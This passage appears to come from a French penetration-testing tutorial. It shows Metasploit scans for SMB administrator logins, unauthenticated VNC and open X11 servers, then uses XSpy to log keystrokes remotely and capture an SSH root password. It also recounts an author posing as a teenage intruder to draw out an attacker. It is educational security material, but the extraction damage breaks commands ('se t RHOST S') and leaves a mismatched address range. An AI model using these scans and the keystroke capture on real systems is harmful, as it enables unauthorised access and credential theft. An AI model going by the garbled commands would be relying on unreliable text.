• Aucun résultat trouvé

Hosts

=====

address svcs vulns

--- ----

---192.168.1.195 18 345

Maintenant que vous avez vu la variation des résultats du scan avec deux produits différents, vous comprenez mieux la nécessité d’utiliser plus d’un outil pour vos scans. Il revient toujours au pentester d’interpréter les résultats de ces outils automatisés et de les transformer en données exploitables.

SMBPass password no SMB Password

SMBUser Administrator no SMB Username

THREADS 50 yes The number of concurrent threads

USERPASS_FILE no File containing users and passwords separated by space, one pair per line

USER_FILE no File containing usernames, one per line

msf auxiliary(smb_login) > se t RHOST S 192.168.1.150-155 RHOSTS => 192.168.1.170-192.168.1.175

msf auxiliary(smb_login) > se t SMBUse r Adm inistrator SMBUser => Administrator

msf auxiliary(smb_login) > se t SMBPass s3c r3t SMBPass => s3cr3t

msf auxiliary(smb_login) > run [*] Starting host 192.168.1.154 [*] Starting host 192.168.1.150 [*] Starting host 192.168.1.152 [*] Starting host 192.168.1.151 [*] Starting host 192.168.1.153 [*] Starting host 192.168.1.155

[+] 192.168.1.155 - SUCCESSFUL LOGIN (Windows 5.1) ’Administrator’ : ’s3cr3t’

[*] Scanned 4 of 6 hosts (066% complete) [*] Scanned 5 of 6 hosts (083% complete) [*] Scanned 6 of 6 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(smb_login) >

Vous voyez une connexion réussie avec l’utilisateur Administrateur et un mot de passe s3cr3t en ❶. Parce que tous les postes de travail sont clonés à partir d’une image et déployés dans de nombreux

environnements d’entreprise, le mot de passe administrateur peut être le même sur chacun d’eux et vous donner accès à tous les postes sur le réseau.

Recherche d’accès VNC ouverts (Virtual Network Computing)

Le Virtual Network Computing (VNC) offre une interface graphique à des systèmes distants d’une manière semblable à Remote Desktop de Microsoft. Les installations VNC sont communes dans les entreprises car elles fournissent une vue graphique d’un serveur et des postes de travail. VNC est souvent installé pour répondre à un besoin temporaire puis complètement oublié et non mis à jour, créant alors une vulnérabilité potentielle majeure. Le module VNC Authentication None, scanner intégré à Metasploit, recherche dans une plage d’adresses IP les serveurs VNC qui n’ont pas de mot de passe configuré (qui acceptent l’authentification None, autrement dit un mot de passe vide). Habituellement, cette analyse ne sert à rien, mais un bon pentester teste chaque piste quand il recherche un moyen d’accéder à un système cible.

Note

Les récents serveurs VNC n’autorisent pas des mots de passe vides. Pour en créer un dans votre laboratoire, utilisez les anciens serveurs VNC comme RealVNC 4.1.1.

Le scanner VNC, comme la plupart des modules Metasploit auxiliaires, est facile à configurer et à exécuter. La seule configuration requise pour vnc_none_auth est une adresse IP ou une plage d’adresses IP à analyser. Il suffit de sélectionner le module, de définir vos RHOSTS et THREADS, si nécessaire, et de l’exécuter, comme illustré ci-après :

msf > use auxiliary/sc anne r/vnc /vnc _none _auth msf auxiliary(vnc_none_auth) > show options

Module options:

Name Current Setting Required Description ---- --- --- ---

RHOSTS yes The target address range or CIDR identifier

RPORT 5900 yes The target port

THREADS 1 yes The number of concurrent threads

msf auxiliary(vnc_none_auth) > se t RHOST S 192.168.1.155 RHOSTS => 192.168.1.155

msf auxiliary(vnc_none_auth) > run

[*] 192.168.1.155:5900, VNC server protocol version : RFB 003.008 [*] 192.168.1.155:5900, VNC server security types supported : None

[*] 192.168.1.155:5900, VNC server security types includes None, free access!

[*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(vnc_none_auth) >

Si vous avez de la chance et si Metasploit trouve un serveur VNC sans authentification ❶, vous pouvez utiliser Back|Track vncviewer pour vous connecter à la machine cible sans mot de passe (voir Figure 4.18).

Fig ure 4.18

Connexion à VNC sans authentification avec vncviewer.

Si vous pensez qu’un scan VNC risque d’être une perte de temps et que vous ne trouverez jamais de systèmes avec un serveur VNC ouvert, détrompez-vous. L’un des auteurs, lors d’un pentest important qui comprenait des milliers de systèmes, a remarqué qu’un de ces systèmes avait un serveur VNC ouvert.

Pendant que l’auteur était connecté au système documentant sa trouvaille, il a remarqué une activité sur le système. C’était pendant la nuit, sur un système où il était peu probable de trouver un utilisateur

non autorisé. Même si ce n’est pas toujours considéré comme une pratique exemplaire, l’auteur a fait semblant d’être un autre intrus non autorisé et a fait entrer l’intrus dans la conversation via le Notepad

L’intrus n’a pas été très brillant et a dit à l’auteur qu’il avait scanné de gros blocs de systèmes à la recherche d’accès VNC ouverts. Voici une partie de la conversation :

Auteur : Vous êtes des États-Unis ? Ou à l’extérieur du pays ? Je connais quelques personnes au Danemark.

Attaquant : Je suis de Norvège en fait, hé hé, j’ai des parents au Danemark.

Auteur : Tu traînes sur toutes les boards. J’en ai apprécié certaines, mais elles sont maintenant fermées.

Attaquant : J’ai surtout traîné sur des boards de programmation, mais pas grand-chose d’autre. Ça fait longtemps que t’es dans l’hack ? Quel est ton âge d’ailleurs ? Moi, j’ai 22 ans.

Auteur : Ça fait environ un an ou deux. Encore à l’école. 16 ans. Ça me fait passer le temps.

Attaquant : Je n’ai pas été jusque-là. Moi aussi, je fais surtout cela pour le plaisir, juste pour essayer de voir ce que je peux faire, tester mes compétences. J’ai écrit le "VNC finder" moi-même d’ailleurs, j’ai trouvé un grand nombre de serveurs, mais c’est le seul sur lequel je peux actuellement me faire plaisir.

Auteur : Wow. Tu l’as écrit en quoi ? J’peux le télécharger ? T’as un lien ?

Attaquant : Il est écrit dans un langage appelé PureBasic, mais ce n’est pas encore prêt à être publié, c’est seulement pour ma propre utilisation. Enfin, j’peux peut-être le partager quand même, je peux uploader le code quelque part et te permettre de le compiler. Si toutefois tu peux trouver un compilateur de PureBasic sur des sites de warez :P

Auteur : C’est cool. Tu peux le mettre sur Pastebin depuis IRC ? Comme ça tu le postes anonymement moi j’ai jamais fait PureBasic. Juste python et perl.

Attaquant : Laisse-moi voir, je vais chercher ce site pastebin et l’uploader, laisse-moi quelques minutes, je serai dans le coin.

L’attaquant a ensuite donné à l’auteur un lien vers une page pastebin avec le code source complet pour le scanner VNC sur mesure dont il se servait.

Scan pour trouver des serveurs X11 ouverts

Le scanner intégré à Metasploit open_x11 est analogue au scanner vnc_auth, il parcourt une plage d’hôtes à la recherche de serveurs X11 qui permettent aux utilisateurs de se connecter sans authentification.

Bien que ces serveurs ne soient plus beaucoup utilisés de nos jours, nombre de machines archaïques continuent d’utiliser des systèmes d’exploitation non mis à jour et dépassés. Comme vous l’avez vu dans les deux exemples précédents, les anciens systèmes sont souvent les plus vulnérables sur un réseau.

Pour exécuter le scanner open_x11, configurez-le simplement comme vous le feriez avec la plupart des autres modules auxiliaires en définissant les RHOSTS et, éventuellement, les valeurs THREADS. Observez l’exemple suivant. Notez que le scanner a trouvé un serveur X ouvert à l’adresse IP 192.168.1.23. Il

s’agit d’une vulnérabilité grave, car elle permet à un attaquant d’obtenir un accès non autorisé au système : le système X gère l’interface graphique, y compris la souris et le clavier.

msf > use auxiliary/sc anne r/x11/ope n_x11 msf auxiliary(open_x11) > show options

Module options:

Name Current Setting Required Description ---- --- ---

---RHOSTS yes The target address range or CIDR identifier

RPORT 6000 yes The target port

THREADS 1 yes The number of concurrent threads

msf auxiliary(open_x11) > se t RHOST S 192.168.1.0/24 RHOSTS => 192.168.1.0/24

msf auxiliary(open_x11) > se t T HREADS 50 THREADS => 50

msf auxiliary(open_x11) > run [*] Trying 192.168.1.1 [*] Trying 192.168.1.0 [*] Trying 192.168.1.2...

[*] Trying 192.168.1.29 [*] Trying 192.168.1.30

[*] Open X Server @ 192.168.1.23 (The XFree86 Project, Inc) [*] Trying 192.168.1.31

[*] Trying 192.168.1.32

. . . SNIP . . .

[*] Trying 192.168.1.253 [*] Trying 192.168.1.254 [*] Trying 192.168.1.255

[*] Auxiliary module execution completed

Pour voir ce qu’un attaquant pourrait faire avec une vulnérabilité de ce genre, lancez le keystroke

logging en utilisant l’outil XSpy dans Back|Track, comme ceci :

root@bt:/# c d /pe nte st/sniffe rs/xspy/

root@bt:/pentest/sniffers/xspy# ./xspy -display 192.168.1.23:0 -de lay 100

ssh root@192.168.1.11(+BackSpace)37 sup3rs3cr3tp4s5w0rd

ifconfig exit

L’outil XSpy sniff à distance les frappes du clavier d’une session du serveur X et a capturé un utilisateur exécutant un SSH. Cela vous permet alors de vous connecter en tant que root sur un système distant. Les vulnérabilités comme celles-ci peuvent être rares, mais quand vous les trouvez, elles sont extrêmement précieuses.